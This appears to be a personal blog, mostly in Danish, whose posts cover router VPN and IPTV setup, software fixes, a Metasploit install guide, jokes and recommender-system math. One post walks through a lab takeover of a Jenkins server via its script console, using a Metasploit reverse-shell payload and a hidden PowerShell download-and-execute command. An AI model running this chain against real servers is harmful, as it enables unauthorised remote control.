Unified Security Gateway [USG], Android og VPN

Hvordan opretter man en VPN server på sin USG, og forbinder med sin Android telefon.

[Denne guide bruger den gamle UI]

 

Først og fremmest bruger jeg selv en One Plus 7 Pro med Android 10.

I den her guide kommer vi til at sætte en L2TP server op på min USG og derefter forbinder til den via min Android telefon.

Opret en RADIUS server og en bruger

Login på din Unifi Controller, og få til Settings -> Services.
Tryk på fanen “RADIUS” – den er nok allerede markeret.
Tryk på Server, og sørg for at den er “Enabled”
Vælg et secret
Authentication Port: 1812
Accounting Port: 1813
Accouting Interim Interval: 3600
Tunnelled Reply: Enabled

Derefter gå til “Users” i toppen af skærmen.
Tryk ‘CREATE NEW USER”

Skriv et navn, som skal bruges til at logge ind med.
Skriv en adgangskode, igen som skal bruges til at logge ind med.
Tunnel type skal være 3 – Layer Two Tunnelling Protocol (L2TP)
Tunnel Medium Type skal være: 1 – IPv4 (IP version 4)
Tryk “Save”

Så det ser således ud:

Opret VPN Serveren (L2TP Server)

  1. Gå til ‘Networks’
    Dit netværk ser nok anderledes ud end mit, men lad mig forklare hvordan mit er sat op.




    Jeg har LAN, LAN2, VPN og WAN.
    LAN og LAN2 er de to fysiske porte en USG har.
    LAN har et subnet på 192.168.1.0/27 altså op til 192.168.1.30
    og LAN2 fra 192.168.1.32-62

    Det gør jeg for at være sikker på at alle klienter på LAN og LAN2 kan snakke sammen. Man kunne godt lave to separate netværk, og rute imellem dem. Min erfaring er bare at det kan blive noget fis, når først lidt ualmindelige protokoller imellem netværk skal snakke sammen.

    Til den opmærksomme, er det selvfølgelig VPN vi skal til at kigge på.
    Man kan vælge at køre VPN på et særskilt netværk, så den absolut ingen adgang har til resten af netværket.

    Det ser jeg ingen pointe i hos mig selv, da jeg netop ønsker at kunne styre mine ting, når jeg er ude.
  2. Tryk ‘Create new network’
  3. Giv det et sigende navn ‘VPN’
  4. Vælg ‘Remote user VPN’
  5. Vælg ‘L2TP Server’ (Står for Layer Two Tunneling Protocol, og det er lag 2 i OSI modellen – lidt ude af scope i denne guide)
  6. Skriv en Pre-Shared Key – Det skal altså være en nøgle som du kan give alle dine devices (De skal dog stadig logge ind med brugernavn og adgangskode)
  7. Gateway IP/Subnet – Det er her du skal bestemme om du vil bruge dit eksisterende subnet, og tilføje dine klienter til den (som jeg har gjort) – eller om du vil give dem et helt nyt netværk.
    Hvis du gør som jeg, så skriver du 192.168.1.65/27.
  8. Name Server – Du kan selv bestemme hvilken DNS dine klienter skal bruge – jeg lader min stå til ‘Auto’
  9. WINS (Windows Internet Name Service) – Det behøver du ikke.
    Det er også en navne server – som er ude for scope i den her guide.
  10. Site-to-Site VPN – nej
  11. RADIUS Profile: Default
  12. MS-CHAP v2 – Enabled
  13. Derefter trykker du bare “Save”

 

Opret forbindelse til din USG fra en Android telefon.

Hvis du tester forbindelsen hjemme, så sørg lige for at din mobil ikke er forbundet til dit Wifi – Ikke fordi at det ikke vil virke, fordi det kan det godt, det er mest fordi at vi vil sikre at den eksterne IP din telefon den får, er korrekt.

Så først, deaktiver Wifi, og hop på 3G eller 4G (5G hvis du kan!!!!) – derefter gå til https://whatismyipaddress.com/  – både en eller anden hjemmeside der kan give dig din ip.

Når du kender din 3G, 4G eller 5G IP Adresse, så skal vi hoppe på VPN.

  1. Gå til “Indstillinger” på din telefon
    Det er lidt forskelligt fra telefon til telefon, hvordan UI delen ser ud.
  2. Enten så søger du efter VPN, ellers går du ind i “Wifi og internet”
  3. Gå ind i “VPN”
  4. Tryk på “+” for at oprette en ny
  5. Skriv et navn “Hjemme” – (Det er lige meget hvad den hedder)
  6. Type vælg: “L2TP/IPSec-PSK”
  7. Skriv din eksterne IP adresse – altså din hjemme IP adresse på din USG.
  8. L2TP-Hemmelighed, lad være tom
  9. IPSec-identifikator, lad være tom
  10. IPSec-forhåndsdelt nøglekodning (forfærdeligt oversat) – her skriver du din “Pre Shared key” fra før
  11. Brugernavn: “detteErMitNavn” – brugernavn fra RADIUS
  12. Adgangskode: “detteErMinAdgangskode”
  13. Gem
  14. Tryk på “Hjemme” – hvis det er det du har kaldt den
  15. Tryk Tilslut.

 

Hvis alt virker, så er du forbundet – og du skal igen besøge en hjemmeside der kan vise dig din IP adresse. Hvis du nu har samme IP adresse som din USG, så virker det hele – godt arbejde!

 

Skriv endelig en kommentar nedenunder, uanset om det bare virkede for dig og det var verdens nemmeste guide – eller om du bøvlede med lidt her og der. Jeg vil meget gerne have feedback, så jeg kan forbedre guiden. Husk på at hvis du syntes noget var svært, så er der også andre som synes det er svært.

Waoo TV med en USG (Unifi Security Gateway)

Jeg flyttede i hus med kæresten og fik os en 300/300 Mbit/s forbindelse ved EnergiMidt, som i dag hedder Eniig.

Dertil skulle vi selvfølgelig også have os noget TV igennem denne hurtige forbindelse, og da alt udstyr ankom, og jeg satte alt til, opdagede jeg at deres TV boks (Airties 7410x) ikke virkede med min USG.

Man kunne fint se programoversigten, men ellers var der bare sort skærm.

Opsætning

FiberModem (Den standart fra Eniig) -> USG -> Switch -> Airties 7410x

Den switch jeg har, er bare en billig 1G D-Link Switch (Det er dog vigtigt at den understøtter multicast, men det gør de fleste)

USG Opsætning

Først og fremmest skal du vide disse ting:

  1. Hvilken IP adresse din USG har (min hedder 192.168.2.1)
  2. Hvad hedder dine interfaces (eth0, eth1 …) og hvad de bliver brugt til.
    1. Hos mig hedder de eth0 (internet) og eth1 (lokal) – altså er eth0 sat til modem, og eth1 sat til switch
  3. Hvilken controller du bruger – jeg bruger bare min stationær med Unifis eget software
  4. Hvilken IP Adresse din TV boks har fået (min hedder 192.168.2.30)

IGMP (Internet Group Management Protocol) Proxy (Dette er det svære trin)

Vi skal have sat en IGMP Proxy op på USGen – dette gør at dine “dimser” må tilmelde sig en multicast gruppe på nettet.

Opsætningen skal udføres således:

  1. Opret en fil på din controller (Jeg bruger windows her – men søg på Ubiquitis side, om hvordan man opretter denne fil på andre controllere)
    C:\Users\BRUGERNAVN\Ubiquiti UniFi\data\sites\defaultFilen skal hedde “config.gateway.json” og indeholde nedenstående json.
{
“protocols”: {
“igmp-proxy”: {
“interface”: {
“eth0”: {
“alt-subnet”: [ “0.0.0.0/0” ],
“role”: “upstream”,
“threshold”: “1”
},
“eth1”: {
“alt-subnet”: [ “0.0.0.0/0” ],
“role”: “downstream”,
“threshold”: “1”
}
}
}
}

}

Her er det vigtigt at du ændre dine interfaces til hvad der passer til din USG, altså eth0 var forbundet til internettet, og eth1 er til lokal switch.

Når du har gjort dette, gemmer du filen og genstarter USG’en.

Firewall regler

Så skal vi have sat firewall regler op:

  1. Lav en ny gruppe under Firewall -> Grupper -> Opret ny gruppe
  2. Skriv et navn (dette er lige meget)
  3. Tilføj adresserne: 88.83.72.0/24 og 88.83.68.0/24
  4. Gem

Opret firewall regel

Under regler:

  1. WAN IND: Opret ny regl:
  2. navn: allow multicast in
  3. Godkend
  4. UDP
  5. KILDE: (Din nye gruppe)
  6. Destination: (Ingenting)

  1. WAN LOKAL: Opret ny regel:
  2. navn: allow IGMP
  3. Godkend
  4. vælg protokol efter navn: IGMP
  5. Intet andet – lad resten stå

Nu kan du se TV via din Waoo TV boks!!

Tjek her om det er muligt at se TV på din Airties boks – Hvis ikke så smid gerne en linje i kommentarfeltet, eller gennemgå guiden igen.

Nu skal vi have pause og start forfra til at virke

  1. Opret en SSH forbindelse til din USG
    1. Hvis du ved hvordan man opretter en SSH forbindelse – hop til punkt 7
  2. Download Putty her
  3. Skriv din routers IP adresse (min var 192.168.2.1)
  4. Tryk “Open”
  5. login as: admin
  6. password: (Dette er en adgangskode du selv har valgt – det er samme adgangskode du skal bruge til USG’ens WebInterface, altså http://192.168.2.1)
  7. Skriv: sudo modprobe nf_nat_rtsp
  8. Undersøg om det lykkedes: lsmod | grep rtsp

Linje 7 installerer en driver på din USG, og linje 8 viser at det lykkedes.

Nu skal vi have pause og start forfra til at virke – også efter reboot

  1. Opret en SSH forbindelse til din USG
    1. Hvis du ved eller allerede har oprettet en SSH forbindelse – hop til punkt 7
  2. Download Putty her
  3. Skriv din routers IP adresse (min var 192.168.2.1)
  4. Tryk “Open”
  5. login as: admin
  6. password: (Dette er en adgangskode du selv har valgt – det er samme adgangskode du skal bruge til USG’ens WebInterface, altså http://192.168.2.1)
  7. Skriv følgende:

sudo su # Så du bliver Super User

mkdir /config/scripts/pre-config.d #Opret en mappe

vi /config/scripts/pre-config.d/load_nat_rtsp_module.sh #Opret og rediger filen load_nat_rtsp_module.sh

(Tryk “i” for at kunne skrive)

modprobe nf_nat_rtsp #Skriv dette i filen

(Tryk ESC, skriv: “:wq”) – W = write, Q = quit

chmod +x /config/scripts/pre-config.d/load_nat_rtsp_module.sh

reboot #Tryk “y” når den spørger om du er sikker

Når den så er bootet op igen, lav en SSH forbindelse til den og skriv: lsmod | grep nf_nat_rtsp (Får du et output, har det virket)

Skriv endelig en kommentar om den ovenstående guide virker – jeg prøvede mig bare frem, og søgte på nettet her og der indtil jeg fandt ud af hvordan opsætningen skulle være.

Det er også derfor jeg skriver denne guide, da der ikke er ret meget hjælp, hverken ved Eniig/Waoo eller på deres support sider.

Mange tak til Morten, og resten af Ubiquiti Facebook Gruppe som har været meget behjælpelige med at debugge dette problem.
Lad os få alle USG’er derude til at virke med IPTV fra Waoo!!

Installer Skype fra Microsoft Store for at få den bedste oplevelse

Skype er et godt program, eller det vil sige, at det var det engang da Janus Friis byggede softwaren.
I dag er Skype ejet af Microsoft og det er nu dem der både udvikler og hoster servicen.

 

Jeg formaterede min computer den anden dag, til en Windows 10 og ville derefter installere Skype. Jeg smutter ind på https://www.skype.com/da/get-skype/ med min firefox og downloader filen “Skype-8.16.0.2.exe” som er versionen i skrivende stund.

Filen fylder ~60MB (Så jeg regnede med at hele Skype pakken var at finde i filen) – men da jeg åbnede den kom der denne boks frem:

Installer Skype fra Microsoft Store for at få den bedste oplevelse
Installer Skype fra Microsoft Store for at få den bedste oplevelse

Jeg havde lidt travlt på dette tidspunkt, så jeg gør bare hvad boksen siger og trykker på “OK”. – Så åbner Microsoft Store op

Jeg trykker på “Hent appen”

 

Derefter “Installer” og den installerer ganske fint – men i det jeg vil åbne Skype, sker der intet!

 

Jeg vil lige understrege at min computer var nyligt formateret, og jeg har ikke installeret noget som kunne blokkerer forbindelse fra Skype.

Herefter forsøgte jeg flere ting, både at åbne Skype fra Start, og slette Skype og installere den igen – men intet virkede!!

 

 

Løsning:

Find filen du downloadede fra https://www.skype.com/da/get-skype/

Højreklik på filen og vælg Egenskaber

Højreklik på filen og vælg egenskaber

Vælg Kompatibilitet – og tryk på “Kør dette program i kompatibilitetstilstand for:” – og her vælger du Windows 8

Tryk på Anvend og OK – og åbn derefter filen igen:

 

Bingoo!! – og nu kan du installere Skype på Windows 10, uden at den brokker sig.

 

 

 

Kritisk Fejl Menuen Start og Cortana virker ikke. Vi prøver at få det rettet, til næste gang du logger på

Har du netop opdateret til Windows 10 og får nu teksten på skærmen “Menuen Start og Cortana virker ikke. Vi prøver at få det rettet, til næste gang du logger på”.

Der er omtrent 14 millioner computere som har opdateret til Windows 10 og knap 24 timer efter deres udgivelse ser det ud til at Microsoft allerede har fejlet. Brugere som har opdateret til det seneste OS er begyndt at klage over problemet med start menuen og Cortana

Hver gang brugerne har åbnet start menuen er de mødt med  “Critical Error” beskeden som siger at funktionen ikke virker og der er en fiks klar til dem, næste gang de logget på.

Alternative fiks til problemet med at genstarte systemet, oprette en ny konto eller ved at bruge andre konti har alle fejlet.

Andre brugere har forsøgt at gå tilbage til deres gamle OS til at fikse dette problem, dog uden held.

Microsoft har godkendt og accepteret denne fejl og Jen som arbejder for Microsoft har udtalt at de er ved at få problemet løst og en fiks er undervejs.

“Vi har fikset en del af bugsene som skyldtes denne fejl, men der er stadig flere som skal fikses. Jeg er ked af at høre at disse fejl stadig er tilstede. Vi har ‘crash reports’ som vi kigger på.” fortæller Jen fra Microsofts Community forum.

Det er dog uvis hvornår fejlen bliver rettet, og for nu kan brugere kun rapporterer fejlen til Microsoft.

 

Mine egne erfaringer er dog at en vens maskine fiksede sig selv efter en genstart, så jeg formoder at løsningen er på trapperne.

Installer Armitage og Metasploit på din mac

Denne guide virker på OSX 10.10, 10.9 og 10.8 versioner.

Det er vigtigt at du har xcode 4 og at du har HomeBrew.

Gå til Xcode Preference og vælg command line tools og download/installer komponenterne.

xcode4

Hvis du bruger Xcode 5 skal du gå til Xcode Preference og vælge command line tools, og downloade der.

xcode5

 

 

 

 

 

 

 

Hvis du har OSX Mavericks kan “Command Line Developer Tools” pakken blive installeret ved at køre “xcode-select –install” og de installerede værktøjer vil automatisk blive opdateret via Software Update. Når du har kørt kommandoen kommer følgende skærm frem:

mavericks

 

Java

Download den nyeste Java JDK 8 fra Oracle. Det skulle nemlig sætte alle de korrekte genveje op for Java http://www.oracle.com/technetwork/java/javase/downloads/index.html

Test at Java er installeret og kører

java -version

Dette skulle returnere versionen du netop har installeret af Java. Check om Java er placeret her /usr/bin/java – ved at køre følgende.

whereis java

Hvis begge kommandoer har kørt og lokationen af Java er korrekt, er Java installeret på systemet.

 

Manuel installation

Installer HomeBrew

/usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"

Vi skal også lige sikre at de binære filer vi installerer via homebrew er de første i path.

echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile
source ~/.bash_profile
brew tap homebrew/versions

Installer Nmap

Brug gerne dit nye HomeBrew til at installere Nmap.

brew install nmap

Installer Ruby 2.1

Installer Ruby via Homebrew:

brew install homebrew/versions/ruby21

Tjek at du bruger den korrekte version af ruby

ruby -v

gem install bundler

Installer PostgreSQL

brew install postgresql --without-ossp-uuid

Konfigurer PostgreSQL

Opret databasen hvis dette er første gang du har postgres på dine maskine

initdb /usr/local/var/postgres

Konfigurer Postgres til at automatisk starte ved login, læs instruktionerne forneden.

mkdir -p ~/Library/LaunchAgents
cp /usr/local/Cellar/postgresql/9.4.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist

PostgreSQL starter nu hver gang en bruger logger ind. Opret en bruger ved navn msf som metasploit skal bruge:

createuser msf -P -h localhost

Opret en database ved navn msf, som metasploit skal bruge og sæt msf til at være ejer.

createdb -O msf msf -h localhost

Husk den adgangskode du brugte, fordi den skal du bruge senere.

Installer Metasploit Framework

Ved almindelig brug af dette framework, skal du kun clone deres Git repository og oprette de fornødne links og sætte variablerne til databasen i config filen.

Opret Symlink Copy til almindelig brug

cd /usr/local/share/

git clone https://github.com/rapid7/metasploit-framework.git

cd metasploit-framework

for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done

sudo chmod go+w /etc/profile

sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile

Fra Metasploit-Framework mappen lader vi Bundler Gem installere den rigtige Gem versioner

bundle install

Før vi kan bruge dette framework, skal vi oprette en database config fil med parametrene.

vim /usr/local/share/metasploit-framework/config/database.yml

Skriv derefter i filen, og hold afstandende (altså ikke lav ekstra mellemrum). Skriv brugernavn, adgangskoden og databasen du oprettede tidligere.

production:
 adapter: postgresql
 database: msf
 username: msf
 password: 
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

For at læse config filen for denne bruger.

source /etc/profile
source ~/.bash_profile

Når du eksekverer Metasploit Framework msfconsole for aller første gang, skal metasploit lige oprette tabeller i databasen.

msfconsole

Installer Armitage

Armitage er ikke inkluderet i metasploit længere, så du skal installerer denne manuelt.

brew install pidof
curl -# -o /tmp/armitage.tgz http://www.fastandeasyhacking.com/download/armitage-latest.tgz
tar -xvzf /tmp/armitage.tgz -C /usr/local/share


 bash  -c "echo  \'/usr/bin/java\'  -jar /usr/local/share/armitage/armitage.jar \$\*" > /usr/local/share/armitage/armitage

perl -pi -e 's/armitage.jar/\/usr\/local\/share\/armitage\/armitage.jar/g' /usr/local/share/armitage/teamserver

Opret symlinks

ln -s /usr/local/share/armitage/armitage /usr/local/bin/armitage

ln -s /usr/local/armitage/teamserver /usr/local/bin/teamserver

En vigtig ting du skal huske for at køre Armitage er at mange af Metasploits moduler skal køres som root, så for at Metasploit kan håndtere dem korrekt, skal armitage køres som root.

# For launching Armitage
sudo -E armitage

# For launching msfconsole
sudo -E msfconsole

Jeg håber at du kan bruge denne guide, jeg havde selv lidt bøvl her og der – skyd endelig dine spørgsmål afsted her på siden og jeg vil forsøge af hjælpe så godt jeg kan.

Her er en guide til hvordan man bruger Armitage https://www.youtube.com/watch?v=ovp25umJVX8

25 one liners

1. Parallel lines have so much in common.
It’s a shame they’ll never meet.

2. My wife accused me of being immature.
I told her to get out of my fort.

3. Women only call me ugly until they find out how much money I make. Then they call me ugly and poor.

4. How many Germans does it take to screw in a light bulb?
One, they’re efficient and not very funny.

5. What do you call a dog with no legs.
It doesn’t matter; it’s not going to come.

6. Someone stole my Microsoft Office and they’re gonna pay.

You have my Word.

7. What’s green, fuzzy, and if it fell out of a tree it would kill you?
A pool table.

8. Apparently, someone in London gets stabbed every 52 seconds.
Poor bastard.

9. How do you find Will Smith in the snow?
You look for the fresh prints.

10. I went to a really emotional wedding the other day.
Even the cake was in tiers.

11. We have a genetic predisposition for diarrhea.
Runs in our jeans.

12. A physicist sees a young man about to jump off the Empire State Building.
He yells “Don’t do it! You have so much potential!”

13. A hot blonde orders a double entendre at the bar.
The bartender gave it to her.

14. Want to hear a word I just made up?
Plagiarism.

15. Why do cows wear bells?
Because their horns don’t work.

16. What did the pirate say when he turned 80?
Aye Matey.

17. To the handicapped guy who stole my bag –
You can hide but you can’t run.

18. I took the shell off my racing snail, thinking it would make him run faster.
If anything, it made him more sluggish.

19. And the Lord said unto John, “Come forth and you will receive eternal life”
But John came fifth, and won a toaster.

20. Q: How do you think the unthinkable?
A: With an itheberg.

21. Someone stole my mood ring,
I don’t know how I feel about that.

22. I tried to catch fog yesterday,
Mist.

23. The first rule of Alzheimer’s club,
Is don’t talk about chess club.

24. Why does a chicken coop have two doors?
If it had four doors it would be a chicken sedan.

25. I told my wife she was drawing her eyebrows too high.
She looked surprised.

Recommendation system in PHP using Matrix Factorization

A recommendation system, is a system that can predict a rating for a user-item pair, where this user has never interacted with the item before.

In other words, is users of a user can give preferences for items/products in the sense of a star system (1-5 stars like NetFlix) or a thumbs-up/thumbs-down like YouTube, one can generate a rating matrix consisting of users and items. And each cell then has a rating value if the user has rated this particular item.

User/product matrix James Peter Anna Victoria
Blue pants 5 3 0 1
Red hat 4 0 0 1
Black shoes 1 1 0 5
Computer mouse 1 0 0 4
Yellow t-shirt 0 1 5 4

The table above, is called a ratings matrix, where a value above 0 is a rating defined by the user. A rating of 0 means the user has never encountered the product before.

We now wish to calculate all the cells with 0’s – This is where Matrix Factorization is useful.
Let’s do some maths’

We have a set of users U and a set of items D. Let R of size |U| \times |D| be the ratings matrix that the users have assigned their items. We want to discover K latent factors

We now need to find two matrices P(a|U| \times K) and Q (a|D| \times K) such that their product approximates R:

R \approx P \times Q^T = \hat{R}

So each row of P would represent the strength of the associations between a user and its factors. To get the prediction of a rating of an item d_j by u_i we can calculate the dot product of the two vectors corresponding to u_i and d_j:

\hat{r}_{ij} = p_{i}^{T}q_j = \sum\limits_{k=1}^{k} p_{ik}q_{kj}

We just need to find P and Q – There exist several ways to do this.

I’m going to use Gradient Descent – initialize the two matrices with some values, and calculate how different their product is to M and try to minimize the difference iteratively.

The squared error can be calculated by:

e_{ij}^2 = (r_{ij} - \hat{r}_{ij})^2 = (r_{ij} - \sum\limits_{k=1}^{K} p_{ik}q_{kj})^2

We want to minimize this error, and we want to know in which direction this error goes.

\frac{d}{d p_{ik}} = -2 (r_{ij} - \hat{r}*{ij} )(q_{kj} = -2 e_{ij} q_{kj})
\frac{d}{d q_{ik}} = -2 (r_{ij} - \hat{r}*{ij} )(p_{kj} = -2 e_{ij} p_{kj})

We now know in which direction to go, to minimize the error (i.e. the gradient) for both p_{ik} and q_{kj}

p'_{ik} = p_{ik} + \alpha \frac{d}{d p_{ik}} e_{ij}^2 = p_{ik} + 2 \alpha e_{ij}q_{kj}
q'_{kj} = q_{kj} + \alpha \frac{d}{d q_{kj}} e_{ij}^2 = q_{kj} + 2 \alpha e_{ij}p_{ik}

Where \alpha is a constant that determines the rate of approaching the minimum, and should be a small value like \alpha = 0.0002. If this value is too large we might step over the minimum, and maybe oscillating around the minimum.

Using the above update rules we can iteratively perform the operation until a convergence.

E = \sum\limits_{u, d_j, r_{ij} \in T} e_{ij} = \sum\limits_{u_i, d_j, r_{ij} \in T} (r_{ij} - \sum\limits_{k=1}^{K} p_{ik}q_{kj})^2

Now we have the factorization done, which is fine. – We can although run into a problem with over-fitting the model.
To avoid that, we introduce a regularization step:

e_{ij}^2 = (r_{ij}-\sum\limits_{k=1}^{K} p_{ik}q_{kj})^2 + \frac{\beta}{2} \sum\limits_{k=1}^{K}(||P||^2 + ||Q||^2)

Where \beta is used to control the magnitudes of the user-factor and item-factor vector such that P and Q would give a good approximation of R without having to contain large numbers. In practice $latex $beta$ is set to some value in the range of 0.02

So the new update rules are:

p'_{ik} = p_{ik} + \alpha \frac{d}{d p_{ik}} e_{ij}^2 = p_{ik} + \alpha (2e_{ij}q_{kj}- \beta p_{ik})
q'_{kj} = q_{kj} + \alpha \frac{d}{d q_{kj}} e_{ij}^2 = q_{kj} + \alpha (2e_{ij}p_{ik}- \beta q_{kj})

Read More

Let’s hack a jenkins server!

I recently discovered how to takeover a Windows machine running Jenkins (http://jenkins-ci.org/) on a local network.

What you need:

  • Jenkins (I ran v. 1.597, but I think any will do)
  • Metasploit
  • Some technical skills

I’m running a Windows 8 x64 with Jenkins CI v. 1.597 in a virtual machine, and a Kali Linux on another virtual machine.

 

1

A clean windows machine, running Jenkins.

2

Another VM running Kali Linux, with access to the Windows machine’s Jenkins web panel.

3

Let’s “Manage Jenkins” and open it’s Script console

4

After reading Jenkins documentation, I found out that you can run commands – Let’s ping google

println new ProcessBuilder('ping',"google.com").redirectErrorStream(true).start().text

5

Let’s open up metasploit msfconsole

6

While that opens, let’s find our local IP ifconfig

7

We use the exploit called web_delivery
use exploit/multi/script/web_delivery
We use target 2 which is Powershell (Since this has to be native windows stuff. But you could also use Python (if the machine had python installed))
set TARGET 2
We are using the payload meterpreter/reverse_tcp
set PAYLOAD windows/meterpreter/reverse_tcp
You already know your local IP, so just put it in there
set LHOST
8

An overview of all the options we have set show options

9

This will execute the exploit
exploit

 

Awesome!! – Now we can run this powershell command on any windows machine (locally of course 🙂 ) and we will get a session to that machine.

Should we try running this on the Jenkins server? – Hell yeah!

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.234.128:8080/PVdPa2LGUZ6tOaQ'))

This is obviously my unique string, yours will be different

11

After a lot of back and forth trying to make this work – You know, when it has to work, it never does :S – Although when I first discovered this “advantage” it worked perfectly.
I finally got a session open to the machine, after a couple of force kills, disabling Windows Firewall, and Smart Filter and change of LPORT in my metasploit

 

10

 

Although I will not call this an exploit or a bug, hence the open CLI you get by running the Jenkins Continuous Integration Server. This is maybe more an eye opener for NOT putting your servers online.

I always hate when tutorials/guides are trying to justify some hacking technique by telling you how to not use them illegally, instead I will just end this by saying: Don’t be stupid! 🙂

Vi søger dygtige samarbejdspartnere

“Titlen her, er emnet i e-mailen jeg fik. Læg mærke til ‘samarbejdspartnere'”

Programming

Det her er både et surt-opstød og en reprimande til “ikke naturvidenskabelige studerende”.

Først vil jeg lige sige at jeg studerer Kandidat i Datalogi på Aalborg Universitet, altså jeg er en af de dersens “computer-nørder”. Vi (mig selv og mine medstuderende) får dagligt e-mails, hvori der reklameres eller efterspørges en dygtig studerende som kan hjælpe med <indsæt her et teknisk problem>.  Jeg har kopieret en e-mail (og ja jeg kunne have taget en tilfældig) og kopieret den ind her.

“Vi er to studerende fra Kultur og formidling, SDU som på nuværende tidspunkt skriver speciale. Specialet omhandler en lydvandring i Aalborg og vi søger i den forbindelse tekniske samarbejdspartnere til udarbejdelse af eksempelvis en app.
Vi søger studerende med teknisk snilde, der kan udarbejde og designe selve appen i samarbejde med os. Det lydmæssige indhold vil vi indsamle og redigere. Vi forestiller os at i/du eventuelt står overfor en eksamen hvor det at udarbejde dette produkt kunne være relevant. Deadline for produktet er medio juni.

Vi ønsker en app som er brugervenlig, grafisk indbydende og som muliggør at lydvandringen vil kunne benyttes på flere forskellige måder – som en samlet rute, enkelte lydfortællinger eller lignende. Således ser vi det relevant at appen er knyttet op på en form for GPS-system hvor fortællingen automatisk vil afspille i den relevante zone.

Det der fremlægges her er vores ønskeliste. Hertil er vi selvfølgelig åbne overfor at høre jeres/din erfaring og designmæssige ideer – Så tag endelig kontakt hvis i har interesse og kan se perspektiver i samarbejdet eller har lyst til at høre mere om projektet.

Vi har begge et stærkt kendskab til Aalborg. Dertil har vi planer om at besøge Aalborg flere gange i løbet af vores specialeperiode og er derfor fleksible i forhold til at mødes i Aalborg.

Vi ser frem til at høre fra dig/jer!

I forhold til vores videre forløb udbeder vi os svar senest 23. feb. 2015.
Med venlig hilsen Inge ([fjernet]@student.sdu.dk) og Julie ([fjernet]@student.sdu.dk)”
Read More

The Snappening – Dine snapchats bliver lækket snart!

snappening

Snapchat – er en mobil-applikation hvor du kan tage et billede og sende den til en ven. Din ven modtager dit sendte billede og har så kun få sekunder til at se det, og det er “forsvundet for evigt”.

Hvis modtageren forsøger at tage et screenshot af skærmen, får afsenderen besked om dette. Og er så afsløret i at forsøge at gemme billedet.

 

Der er nu blevet udviklet en del applikationer som kan gemme disse snapchats på din telefon, uden at fortælle modparten at de er blevet gemt. Ydermere kan disse applikationer også sende disse billeder/videoer til deres egen database.

Altså hvis du bruger en anden App end den originale. Kan udvikleren af Appen gøre med dine billeder/video som han vil.

 

The Snappening! – Det er nu kommet frem, at præcis det ovenstående er sket. Vedkommende har udviklet et SnapChat applikation, som gemmer alle dine billeder og video til en server han ejer. Applikationen hedder Snapsave og er blevet brugt af over 200000 personer, dette inkluderer el hel del danskere og også en hel den mindreårige.

Han er i skrivende stund ved at udvikle en hjemmeside, hvor det er muligt at søge i disse billeder og video, siden skulle efter sigende være oppe at køre 12/Okt-2014. Der er allerede nu blevet lækket en lille smagsprøve på de videoer han ejer. Han påstår at det udgør en sum af 13GB data.

Lidt hovedregning: Lad os sige en video fylder 870KB så ejer han omtrent 15000 videoer. Han udtaler på 4chan, at han fil filtrere det gode fra, og her uddyber han, det gode så som nøgenhed og frække.

 

Skylden? – Jeg vil gerne understrege at det her er ikke snapchats skyld. Man kunne argumentere for at det er AppStore og Google Plays opgave at beskytte os mod sådan nogle.

I bund og grund har appen på din telefon, sendt et billlede til en server. – Det er det samme der sker, når du deler et billede på Facebook, Instragram eller sender et billede over Snapchat.

 

Lær nu lektien, for fanden da! – ALT du sender over en netværk forbindelse, kan potentielt blive læst af andre. Det betyder at du skal lave være med at dele billeder/tekst/video du ikke er parat til at vise hele verden.
Vær opmærksom på hvad du giver Apps tilladelse til på din mobil. Det er ikke mange uger siden at kendte fik lækket deres billeder, fordi de brugte en backup funktion. Som sendte deres billeder til Apple, og Apple blev hacket og billeder lækket.

 

Hvad gør jeg hvis mine billeder er blevet lækket?

Hvis du finder dig selv på en hjemmeside. Kan du anmelde siden her https://www.google.com/safebrowsing/report_phish/.
Hvis du finder dig selv i pakker med filer, man kan finde på torrent sider og lignende. Det er så godt som umuligt at fjerne.